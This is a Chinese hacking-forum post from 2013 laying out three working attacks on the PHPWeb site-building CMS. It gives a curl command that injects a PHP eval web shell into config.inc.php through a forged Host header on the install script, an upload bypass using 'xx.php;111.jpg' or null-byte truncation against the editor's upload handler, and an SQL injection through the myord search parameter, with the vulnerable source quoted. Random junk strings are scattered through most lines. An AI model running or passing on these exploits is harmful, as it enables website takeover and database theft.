找回密码
 立即注册
查看: 3175|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
1 F  b: W: X+ U$ h) d7 N1 i( B5 R4 X' ?, u$ Z. z3 a
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码% @3 R8 U7 X4 [
& v' D( c  n  h& j; R4 r4 X
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件7 z" _( K% U- M/ S* ~0 R
鸡肋2: 有一定安全常识的站长都会删掉 install 目录8 A' P( Q. ]9 X: k; ~7 \- L/ i

+ \' O! B# U3 T- F' }5 r虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
$ d) Y2 Q  V0 U, c% q& W
) s) O, h4 ]8 J' r- ~- w分析:
5 v: u8 [3 [$ p" |" p: O. Y5 } ! L- k* m9 r# V. L; G

" T: Y+ I4 B2 ]* W6 A$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
8 }3 w3 L7 {4 ?5 S
3 D' p& v$ O$ h; c                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);; H( Z: b% }5 e8 s8 j# M. j
                                            $filestr=str_replace(" ","",$filestr);
. K) E8 V! S3 @6 i8 C                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
- C" z9 M+ G0 b+ }$ P6 r                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);: s( v1 r  T3 ?1 z% Q! K% B
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
, b  _" ]6 z4 Z) j% @) v5 O+ P                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
6 _0 V) l+ k" @+ v, D( f                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);% M- I" W$ z8 k; n: P$ @- k
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
! N* ~: ]" F  E1 Y2 K3 u                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
5 ^* _- @8 S1 }$ B, Q. |
% A& e' {( B3 A. [1 Y% D1 }                                            fwrite(fopen($ConFile,"w"),$filestr,30000);$ K$ j" j/ Y, U5 R/ L
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
2 R/ k0 Y9 F0 U8 L! |* j
$ r( D- I7 r+ E( C* b% ypoc:
# e# S; _. }, @& [* ?$ p6 ]4 r: K  Y " O! w1 m1 f) w, x8 }
?+ Q9 e# e7 I3 g0 e  e2 x, U' B
1
7 L! p+ v( p' j  y  n% g! U- |curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
$ u6 ~% ]5 N3 u; }  Rshell地址: /config.inc.php8 j! @# _  Q" F( s2 s5 s% Z
跟之前的 phpcms一样 需要远程数据库! i# i6 c/ `% K/ p; }+ F4 A

0 s, K: x* m9 c——————————————————–6 m. d: |4 k8 T* g( Z) ^
上传漏洞(需要进后台):
( o' E. a7 U' D' @9 B漏洞文件: /kedit/upload_cgi/upload.php7 d& p+ y' }' w0 P9 j7 O' e5 e
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
5 p' r& |+ u$ y( P8 o : k2 X; P* d0 q; k+ @

4 d( y. Z9 q; ?" G* v2 X<?php
' T( C, _- u! H& q6 Y    define("ROOTPATH", "../../");( b- p- M! C8 s8 h0 J" G/ [
    include(ROOTPATH."includes/admin.inc.php");
0 p' K$ R3 ]7 b% j3 A    NeedAuth(0);3 i* I+ V' M2 l- R" G* f- f7 H/ d4 Z

: ^. c- O( [5 U$ b8 E. X- ?    $dt=date("Ymd",time());& \$ M# G0 V$ ?7 ?
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
9 M# Q6 {1 q+ V            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
2 C$ v/ p* F6 W$ ^) f0 L    }
9 ~! G! l! p! t- N . I2 [9 {1 r$ O! e
    //文件保存目录路径1 A% @( O, D. F8 I: [1 y( s+ V
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';( ^0 ]2 D7 _/ [) m  b
    echo $save_path;& G& |6 Q9 D* h- D8 }
    //文件保存目录URL
7 i" A6 x- Z7 g+ n0 i    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
) Z$ d# f  `+ V: T
% r+ s/ j/ C1 B: S    //定义允许上传的文件扩展名# t( A- q6 ~/ p
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
" [. v0 d" v$ ~) ]) O+ n+ E
% M9 J% H/ |% K  `2 w, D    //最大文件大小
8 B* i" p. V* H% K    $max_size = 1000000;
8 G0 Q. C' k$ Q; P6 w: D0 `
% F8 E/ V7 M, |( ^& [# a    //更改目录权限
) g/ f& z+ {( d9 i    @mkdir($save_path, 0777);: i7 }7 ?' [1 B( h' A% n

2 c* }" f2 C2 I$ K( y" {: V    //文件的全部路径
3 q7 D& k* Q) w% u    $file_path = $save_path.$_POST['fileName'];   //保存文件名
1 G+ m& E+ [7 p
$ b$ C; v& S4 h" [. M: k    //文件URL
" O3 d7 P1 o: s2 L( H    $file_url = $save_url.$_POST['fileName'];/ C* l  ~# ?* r- X
//有上传文件时6 s1 j4 T; q$ g$ Z, ^7 \
    if (empty($_FILES) === false) {. Z1 `6 n* \8 d1 i; l; X) B  v+ _
+ V8 f4 X- i4 q: o
            //原文件名$ U1 D2 D1 t# N5 G5 z  K
            $file_name = $_FILES['fileData']['name'];
: x  L9 d& p4 e$ J# R, l3 W            //服务器上临时文件名
5 J5 ?) p) q, z! G$ A  I            $tmp_name = $_FILES['fileData']['tmp_name'];
6 \8 R1 O% x4 }. S0 E8 L            //文件大小* R2 Z- s4 Y$ X
            $file_size = $_FILES['fileData']['size'];
! A" w+ j$ X- B: A  a            //检查目录
* d2 C3 L6 G- M: ?7 B5 y! n3 Z            if (@is_dir($save_path) === false) {) d$ G" K& q4 y$ `3 n. s9 I
                    alert("上传目录不存在。");( ^* z% m6 ]3 ^7 y
            }' z3 t8 p1 A8 ~, D& a$ [  @) o
            //检查目录写权限; x- e3 y/ g6 I9 ^  O7 x8 N
            if (@is_writable($save_path) === false) {
1 X$ `' Q8 b  g& }7 q                    alert("上传目录没有写权限。");; `/ Q& S; A; `1 S  {# O4 F
            }
" v0 D$ Z  a: D7 O' i            //检查是否已上传
* Y4 G- `! [, M. H. {            if (@is_uploaded_file($tmp_name) === false) {
& m/ ~3 y' `7 C( G# G& a# A* J8 I; a                    alert("临时文件可能不是上传文件。");2 O4 b7 t7 t4 p9 ~
            }! J9 c$ i6 p! K: U6 F& _% g
            //检查文件大小7 m0 T$ A+ O; `% d; c" u
            if ($file_size > $max_size) {
1 H4 @5 H3 C% F/ z6 ?                    alert("上传文件大小超过限制。");4 t) d& _" l. U7 w# }
            }
. u2 k/ N7 o; ]" r8 m            //获得文件扩展名
/ O3 [  y/ u9 B/ r- |% R, r            $temp_arr = explode(".", $_POST['fileName']);
, d1 [9 |$ Q/ A) [/ i8 M+ K            $file_ext = array_pop($temp_arr);0 K/ ]" C! W, h2 P8 Q: K
            $file_ext = trim($file_ext);
0 S$ A$ M: w( G) m7 b+ z! ]' U            $file_ext = strtolower($file_ext);" g8 c3 V9 Y: o0 [5 }3 d! h( E' U

% }$ Z, c; T8 T8 p            //检查扩展名   ( r5 U, I% y' F, E7 s# F' ~1 L6 n
            if (in_array($file_ext, $ext_arr) === false) {     
& _4 |; l9 U9 m7 h4 |                    alert("上传文件扩展名是不允许的扩展名。");# Z* J/ U: d6 J
            }
/ C, W6 I* F  u" ?; h
' x& e' e4 l! i; |7 C! O; y  p            //移动文件   
5 k- q' U: w8 ]8 T: R: O( X            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
( R3 ~# Z- {* l3 v! H3 D            if (move_uploaded_file($tmp_name, $file_path) === false) {4 W3 \' D8 a* v: V, T
                    alert("上传文件失败。");
7 e; l0 K; k& c( {4 A            }; p1 m% T7 o3 f4 ~8 k, i7 v

5 u5 t% d/ V% o8 c* W  d4 h8 U) ^            @chmod($file_path,0666);
' t6 ]! O1 h* _! ^, ~& u/ E2 \
" k0 a$ T; p: J( f8 V    ?>
3 ]+ S  W6 k# K$ j抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
+ B9 q6 a, S9 l* `
) Q/ V6 B! n; B! T! P) O) I, hapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过0 N+ M+ T% h; e9 \
3 ~* J7 P" }; K. I) h
——————————————————7 I  b4 ]* K( a( l- g6 i8 \9 w! i! A5 O8 R
注入漏洞:) L9 p. R* Z2 O1 {, q
漏洞文件:search/module/search.php+ h# m9 _+ W/ l
/search/index.php?key=1&myord=1 [sqlinjection]  R* ]1 v& R0 O/ g5 y
# D4 m7 |/ g, ~0 ]* f
/ |1 V  Q; f) l+ O7 r+ I7 P, A
<?php+ q$ _# u* [! n9 g; p% v
   //       ... 省略 n 行...
2 _: z; N, S1 f3 r, q. L* v5 l   //第18行:
* I, x) |6 P% C1 g' u, h1 Q5 P' X           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
7 s; [1 e/ r! a           $page=htmlspecialchars($_GET["page"]);
5 O+ I" S: h/ G2 d           $myord=htmlspecialchars($_GET["myord"]);
+ A: Q# I  P8 [, Y, z
: V! y+ a6 \* Y+ z6 a5 p   //       ... 省略 n 行...6 `. C& A$ d/ n/ Q
   $key,$myord 两个参数带入查询
7 q' t! `( @. z! l2 l$ o5 i6 k7 p   //第47行 $key:
! L& ^+ R3 v; l9 Y% `) x' x8 o8 M 2 H! C* J( ~5 E- \  @1 G
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
/ J% h) ^- c& s- _& j 0 C. W2 P, o" x- h( Z
   //第197行 $myord
2 a' K. q) R$ [# N$ r# A( ]3 C9 K   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
/ g( Q5 y/ ?+ \3 g7 o
8 ?) O! e( x! N# U) A   ?>6 ^  A4 G9 k. ]; O. F8 P1 L$ Y4 @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表